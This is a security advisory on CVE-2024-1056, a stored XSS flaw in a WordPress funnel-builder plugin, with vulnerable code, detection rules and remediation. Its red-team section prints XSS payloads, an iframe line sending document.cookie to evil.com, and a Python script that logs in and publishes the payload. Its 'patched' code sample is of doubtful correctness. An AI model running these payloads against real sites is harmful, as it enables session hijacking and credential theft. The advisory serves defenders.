CVE-2024-1056

Executive Summary

CVE-2024-1056 is a Stored Cross-Site Scripting (XSS) vulnerability in the FunnelKit Funnel Builder Pro plugin for WordPress, affecting versions up to and including 3.4.5. The vulnerability arises from the allow_iframe_tag_in_post function, which globally permits script and iframe tags in posts via the wp_kses_allowed_html filter. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits an affected page. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 6.4 (Medium), and no official patch has been released as of the latest analysis.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The FunnelKit Funnel Builder Pro plugin is a premium tool for building sales funnels. The flaw is in the plugin’s code, not in WordPress core or server software like Apache or Nginx.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authenticated access but can be exploited by low-privilege users. The impact is limited to script injection, but combined with social engineering, it can lead to broader compromise.

Deep Dive & Mechanics

The vulnerability is in the allow_iframe_tag_in_post function within the FunnelKit Funnel Builder Pro plugin. This function uses the wp_kses_allowed_html filter to globally allow script and iframe tags in WordPress posts. The filter is applied to all post content, bypassing WordPress’s default HTML sanitization.

Root Cause: The plugin does not restrict the filter to specific post types or user roles. By hooking into wp_kses_allowed_html without proper capability checks, any authenticated user with contributor access or above can inject malicious HTML/JavaScript.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Creates or edits a post/page.
3. Injects a payload like <script>alert('XSS')</script> or an iframe pointing to a malicious site.
4. The payload is stored in the database.
5. When any user (including admins) views the post, the script executes in their browser.

WordPress-Specific Details: The wp_kses_allowed_html filter is intended for customizing allowed HTML tags. The plugin’s misuse of this filter to globally allow dangerous tags is the core issue.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.4.5):

add_filter( 'wp_kses_allowed_html', 'allow_iframe_tag_in_post', 10, 2 );
function allow_iframe_tag_in_post( $allowed_tags, $context ) {
    if ( $context === 'post' ) {
        $allowed_tags['script'] = array();
        $allowed_tags['iframe'] = array(
            'src' => true,
            'width' => true,
            'height' => true,
            'frameborder' => true,
            'allowfullscreen' => true,
        );
    }
    return $allowed_tags;
}

Patched Code (hypothetical fix):

add_filter( 'wp_kses_allowed_html', 'allow_iframe_tag_in_post_safe', 10, 2 );
function allow_iframe_tag_in_post_safe( $allowed_tags, $context ) {
    // Only allow for specific post types and with capability check
    if ( $context === 'post' && current_user_can( 'edit_posts' ) ) {
        // Remove script tag entirely
        unset( $allowed_tags['script'] );
        // Only allow iframe from trusted sources
        $allowed_tags['iframe'] = array(
            'src' => true,
            'width' => true,
            'height' => true,
            'frameborder' => true,
            'allowfullscreen' => true,
        );
    }
    return $allowed_tags;
}

Key Differences: The patched version removes the script tag allowance and adds a capability check. However, since no official patch exists, users should disable the plugin or restrict contributor access.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with FunnelKit Funnel Builder Pro <= 3.4.5
• Contributor-level account credentials

Step-by-Step Exploit:

1. Log in as a contributor.
2. Navigate to Posts > Add New.
3. In the content editor, switch to Text mode.
4. Inject payload:

   <script>alert('XSS')</script>
   

   Or a more advanced payload:

   <iframe src="https://evil.com/steal.php?cookie=" + document.cookie></iframe>
   

5. Publish the post.
6. When an admin or other user views the post, the script executes.

Automated Exploit (Python):

import requests
from bs4 import BeautifulSoup

target = "http://target.com"
login_url = target + "/wp-login.php"
post_url = target + "/wp-admin/post-new.php"
username = "contributor"
password = "password"

session = requests.Session()
# Login
login_data = {"log": username, "pwd": password, "wp-submit": "Log In"}
session.post(login_url, data=login_data)

# Get nonce
r = session.get(post_url)
soup = BeautifulSoup(r.text, 'html.parser')
nonce = soup.find('input', {'name': '_wpnonce'})['value']

# Create post with XSS payload
payload = "<script>alert('XSS')</script>"
post_data = {
    "_wpnonce": nonce,
    "post_title": "XSS Test",
    "content": payload,
    "publish": "Publish"
}
session.post(post_url, data=post_data)
print("Payload injected!")

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts containing <script> or <iframe> tags from contributor-level users.
• Use WAF rules to block XSS payloads in post content.
• Review wp_kses_allowed_html filter usage in plugins.

Prevention:

• Disable the FunnelKit Funnel Builder Pro plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/funnelkit-funnel-builder-pro/funnelkit-funnel-builder-pro.php (version <= 3.4.5)
• Database: Posts containing <script> or <iframe> tags in wp_posts.post_content
• Logs: HTTP requests to /wp-admin/post-new.php or /wp-admin/post.php with content parameter containing <script> or <iframe>
• Network: Outbound connections to domains referenced in injected iframes or scripts

Detection Engineering

YARA Rule

rule CVE_2024_1056_WordPress_XSS {
    meta:
        description = "Detects FunnelKit Funnel Builder Pro plugin with vulnerable allow_iframe_tag_in_post function"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1056"
    strings:
        $vuln_func = "allow_iframe_tag_in_post"
        $wp_kses = "wp_kses_allowed_html"
        $script_tag = "<script"
        $iframe_tag = "<iframe"
    condition:
        $vuln_func and $wp_kses and ($script_tag or $iframe_tag)
}

Sigma Rule

title: CVE-2024-1056 WordPress FunnelKit XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS via FunnelKit Funnel Builder Pro plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/wp-admin/post-new.php'
            - '/wp-admin/post.php'
        cs-method: 'POST'
        cs-uri-query|contains: 'content='
    keywords:
        - '<script'
        - '<iframe'
    condition: selection and keywords
falsepositives:
    - Legitimate use of iframes by admins
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1056 WordPress FunnelKit XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post-new.php"; http_uri; content:"content="; http_client_body; pcre:"/<script|<iframe/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate FunnelKit Funnel Builder Pro until a patch is released.
2. Restrict user roles: Remove contributor-level access from untrusted users.
3. Web Application Firewall (WAF): Deploy rules to block <script> and <iframe> tags in post content.

Long-Term Fix:

• Monitor the vendor’s website for a patched version (expected > 3.4.5).
• Apply the patch as soon as it becomes available.
• Conduct a security audit of all WordPress plugins for similar filter misuse.

Workaround:

• Add a custom filter to remove the vulnerable function:

  remove_filter( 'wp_kses_allowed_html', 'allow_iframe_tag_in_post', 10 );
  

Valters IT
Securing Digital Frontiers